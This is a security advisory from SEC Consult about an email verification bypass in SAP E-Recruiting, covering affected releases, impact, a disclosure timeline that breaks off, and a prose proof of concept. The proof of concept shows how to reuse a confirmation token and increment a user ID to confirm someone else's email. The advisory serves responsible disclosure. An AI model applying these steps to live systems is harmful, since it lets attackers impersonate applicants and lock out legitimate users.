[FD] SEC Consult SA-20170912-0 :: Email verification bypass in SAP E-Recruiting
SEC Consult Vulnerability Lab Security Advisory < 20170912-0 > === title: Email verification bypass product: SAP E-Recruiting vulnerable version: 605, 606, 616, 617 fixed version: see SAP security note number 2507798 impact: medium homepage: https://www.sap.com found: 2017-07-12 by: Marc Nimmerrichter (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Berlin - Frankfurt/Main - Montreal - Moscow Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "SAP E-Recruiting" has recruitment and succession planning instruments that will help your company find new employees, employ them in positions that suit their capabilities, promote their professional development, and retain them in the long term. As well as enabling you to handle your company’s applicant tracking activities, "SAP E-Recruiting" ensures that you drive up-to-date human resources management, by proactively maintaining contact with applicants, potential candidates, and consequently, with your employees. Source: https://help.sap.com/saphelp_erp60_sp/helpdata/en/73/8bcf535b804808e1000a174cb4/frameset.htm Business recommendation: Email address verification during the applicant registration can be bypassed. Businesses using the vulnerable component are advised to estimate the impact of insufficient email address verification on their business processes and react accordingly. It is recommended to install a patched version as soon as possible. Vulnerability overview/description: --- When an external applicant registers to the E-Recruiting application, he/she receives a link by email to confirm access to the provided email address. However, this measure can be bypassed and attackers can register and confirm email addresses that they do not have access to. An attacker could register email addresses not belonging to him/her. This could have a business impact, because business processes might rely on a verified email address. Furthermore, since an email address can be registered only once, an attacker could prevent other legitimate users from registering to the E-Recruiting application. Proof of concept: - The email verification link contains the "param" HTTP GET parameter with base64 encoded data. When decoded, this data contains the parameters "candidate_hrobject" and "corr_act_guid". candidate_hrobject is an incremental user ID. corr_act_guid is a random value that needs to be provided during the email verification. However, this value is not bound to the current registration, which means that the value of a previous registration can be reused. Since candidate_hrobject is incremental, it can be guessed by an attacker. An attacker who wants to register with an email address not belonging to him/her, could simply do the following: 1. Register with his own email address 2. Directly afterwards register with someone else's email address 3. Read the current value of candidate_hrobject in the confirmation link from the first registration 4. Increment this value by 1 5. Send the new value in the HTTP GET request, use the corr_act_guidparameter from the first registration 6. If this did not work: go back to step 4 to try the next ID (maybe other people registered in between the two registrations) This attack works because there is no per-registration nonce in the confirmation link. Vulnerable / tested versions: - The vulnerability was found in the following release of E-Recruiting (ERECRUIT): Release: 617 According to the vendor, the following versions are affected: Release: 605, 606, 616, 617 Vendor contact timeline: 2017-07-12: Contacted vendor via encrypted email with vulnerability description and Responsible Disclosure Policy attached at sec...@sap.com 2017-07-13: Vendor confirmed the receipt of the email 2017-07-25: Vendor confirmed the vulnerability 2017-07-31: Contacted vendor to ask for patch release date and versions affected 2017-08-01: Vendor stated they are working on the fix and requested "adequate time". Link to SAP Responsible Disclosure Policy was provided. 2017-08-01: Discussing release date, requested planned patch release date and versions affected. 2017-08-02: Vendor stated that the patch cannot be published until 2017-08-31 and requested more time before advisory publication. 2017-08-23: Contacted vendor to request current patch status, p